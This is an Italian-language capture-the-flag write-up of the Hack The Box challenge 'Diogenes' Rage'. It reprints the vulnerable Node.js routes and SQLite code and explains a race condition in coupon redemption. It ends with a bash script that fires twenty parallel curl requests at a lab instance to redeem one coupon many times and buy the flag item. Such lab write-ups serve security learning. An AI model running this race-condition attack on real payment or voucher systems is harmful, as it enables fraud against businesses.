Diogenes' Rage
Autore: Lord Shiva • Aggiornamento: 30.07.2023 • Tempo di lettura: 08 min.Apro il browser sull'ip di riferimento e mi compare la scheramta seguente:
Scarico i file necessari. Una volta scompattati trovo due file interessanti: index.js sotto routes
const fs = require('fs');
const express = require('express');
const router = express.Router();
const JWTHelper = require('../helpers/JWTHelper');
const AuthMiddleware = require('../middleware/AuthMiddleware');
let db;
const response = data => ({ message: data });
router.get('/', (req, res) => {
return res.render('index.html');
});
router.post('/api/purchase', AuthMiddleware, async (req, res) => {
return db.getUser(req.data.username)
.then(async user => {
if (user === undefined) {
await db.registerUser(req.data.username);
user = { username: req.data.username, balance: 0.00, coupons: '' };
}
const { item } = req.body;
if (item) {
return db.getProduct(item)
.then(product => {
if (product == undefined) return res.send(response("Invalid item code supplied!"));
if (product.price <= user.balance) {
newBalance = parseFloat(user.balance - product.price).toFixed(2);
return db.setBalance(req.data.username, newBalance)
.then(() => {
if (product.item_name == 'C8') return res.json({
flag: fs.readFileSync('/app/flag').toString(),
message: `Thank you for your order! $${newBalance} coupon credits left!`
})
res.send(response(`Thank you for your order! $${newBalance} coupon credits left!`))
});
}
return res.status(403).send(response("Insufficient balance!"));
})
}
return res.status(401).send(response('Missing required parameters!'));
});
});
router.post('/api/coupons/apply', AuthMiddleware, async (req, res) => {
return db.getUser(req.data.username)
.then(async user => {
if (user === undefined) {
await db.registerUser(req.data.username);
user = { username: req.data.username, balance: 0.00, coupons: '' };
}
const { coupon_code } = req.body;
if (coupon_code) {
if (user.coupons.includes(coupon_code)) {
return res.status(401).send(response("This coupon is already redeemed!"));
}
return db.getCouponValue(coupon_code)
.then(coupon => {
if (coupon) {
return db.addBalance(user.username, coupon.value)
.then(() => {
db.setCoupon(user.username, coupon_code)
.then(() => res.send(response(`$${coupon.value} coupon redeemed successfully! Please select an item for order.`)))
})
.catch(() => res.send(response("Failed to redeem the coupon!")));
}
res.send(response("No such coupon exists!"));
})
}
return res.status(401).send(response("Missing required parameters!"));
});
});
router.get('/api/reset', async (req, res) => {
res.clearCookie('session');
res.send(response("Insert coins below!"));
});
module.exports = database => {
db = database;
return router;
};
Come possiamo vedere, alla riga 31 si scopre che la flag si ottiene con il prodotto C8. Ovviamente facendo una prova, notiamo che il credito del coupon non è sufficiente.
Altro file degno di nota è database.js
const sqlite = require('sqlite-async');
class Database {
constructor(db_file) {
this.db_file = db_file;
this.db = undefined;
}
async connect() {
this.db = await sqlite.open(this.db_file);
}
async migrate() {
return this.db.exec(`
DROP TABLE IF EXISTS userData;
CREATE TABLE IF NOT EXISTS userData (
id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
username VARCHAR(255) NOT NULL UNIQUE,
balance DOUBLE NOT NULL,
coupons VARCHAR(255) NOT NULL
);
DROP TABLE IF EXISTS products;
CREATE TABLE IF NOT EXISTS products (
id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
item_name VARCHAR(255) NOT NULL,
price DOUBLE NOT NULL
);
INSERT INTO products (item_name, price) VALUES ("A1", 0.55);
INSERT INTO products (item_name, price) VALUES ("A2", 0.35);
INSERT INTO products (item_name, price) VALUES ("A3", 0.25);
INSERT INTO products (item_name, price) VALUES ("B4", 0.45);
INSERT INTO products (item_name, price) VALUES ("B5", 0.15);
INSERT INTO products (item_name, price) VALUES ("B6", 0.80);
INSERT INTO products (item_name, price) VALUES ("C7", 0.35);
INSERT INTO products (item_name, price) VALUES ("C8", 13.37);
INSERT INTO products (item_name, price) VALUES ("C9", 0.69);
DROP TABLE IF EXISTS coupons;
CREATE TABLE IF NOT EXISTS coupons (
id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
coupon_code VARCHAR(255) NOT NULL,
value DOUBLE NOT NULL
);
INSERT INTO coupons (coupon_code, value) VALUES ("HTB_100", 1.00);
`);
}
async registerUser(username) {
return new Promise(async (resolve, reject) => {
try {
let stmt = await this.db.prepare('INSERT INTO userData (username, balance, coupons) VALUES ( ?, 0.00, "")');
resolve((await stmt.run(username)));
} catch(e) {
reject(e);
}
});
}
async getUser(user) {
return new Promise(async (resolve, reject) => {
try {
let stmt = await this.db.prepare('SELECT * FROM userData WHERE username = ?');
resolve(await stmt.get(user));
} catch(e) {
reject(e);
}
});
}
async setBalance(username, balance) {
return new Promise(async (resolve, reject) => {
try {
let stmt = await this.db.prepare('UPDATE userData SET balance = ? WHERE username = ?');
resolve(await stmt.get(balance, username));
} catch(e) {
reject(e);
}
});
}
async getProduct(item) {
return new Promise(async (resolve, reject) => {
try {
let stmt = await this.db.prepare('SELECT * FROM products where item_name = ?;');
resolve(await stmt.get(item));
} catch(e) {
reject(e);
}
});
}
async getCoupons() {
return new Promise(async (resolve, reject) => {
try {
let stmt = await this.db.prepare('SELECT * FROM coupons;');
resolve(await stmt.all());
} catch(e) {
reject(e);
}
});
}
async getCouponValue(coupon_code) {
return new Promise(async (resolve, reject) => {
try {
let stmt = await this.db.prepare('SELECT value FROM coupons WHERE coupon_code=?;');
resolve(await stmt.get(coupon_code));
} catch(e) {
reject(e);
}
});
}
async addBalance(user, coupon_value) {
return new Promise(async (resolve, reject) => {
try {
let stmt = await this.db.prepare('UPDATE userData SET balance = balance + ? WHERE username = ?');
resolve((await stmt.run(coupon_value, user)));
} catch(e) {
reject(e);
}
});
}
async setCoupon(user, coupon_code) {
return new Promise(async (resolve, reject) => {
try {
let stmt = await this.db.prepare('UPDATE userData SET coupons = coupons || ? WHERE username = ?');
resolve((await stmt.run(coupon_code, user)));
} catch(e) {
reject(e);
}
});
}
}
module.exports = Database;
Guardando il file del database, non ci sono blocchi o transazioni. Il saldo di un utente viene aggiunto in SQL e non in JS, quindi memorizzato in SQL: SET balance = balance + ?.
Se più richieste HTTP tentano di accedere al coupon prima che l'SQL venga aggiornato, il coupon viene invalidato.
Exploit
L'exploit si articola in tre fasi fondamentali:
- Tentare di acquistare l'articolo, creando una nuova sessione e memorizzando il cookie.
- Eseguire un gruppo di richieste HTTP in contemporanea per sfruttare la condizione di gara.
- Acquistare nuovamente l'oggetto.
Di seguito lo script in bash che potete trovare anche su mio git.
#!/usr/bin/env bash
set -euo pipefail
TARGET=127.0.0.1:1337
function pulizia {
rm jar 2>&1 > /dev/null || true
}
trap pulizia EXIT
# genera un utente sul server e memorizza il cookie localmente
curl -s -c jar -b jar "http://${TARGET}/api/purchase" -d 'item=C8' 2>&1 > /dev/null
# exploit
for i in {1..20}; do
curl -s -c jar -b jar "http://${TARGET}/api/coupons/apply" -d 'coupon_code=HTB_100' 2>&1 > /dev/null &
done
# aspettare che curl finisca
echo "attendere per qualche secondo..."
sleep 2
curl -s -c jar -b jar "http://${TARGET}/api/purchase" -d 'item=C8' | grep -oE '"HTB{.*}"' || echo "exploit fallito, riprovare"
# se avete installato jq potete usare il seguente comando commentato
# curl -s -c jar -b jar http://139.59.180.127:32556/api/purchase -d 'item=C8' | jq -r '.flag'
Una volta eseguito lo script otterrete la vostra flag.
HTB{r4c....................1sm}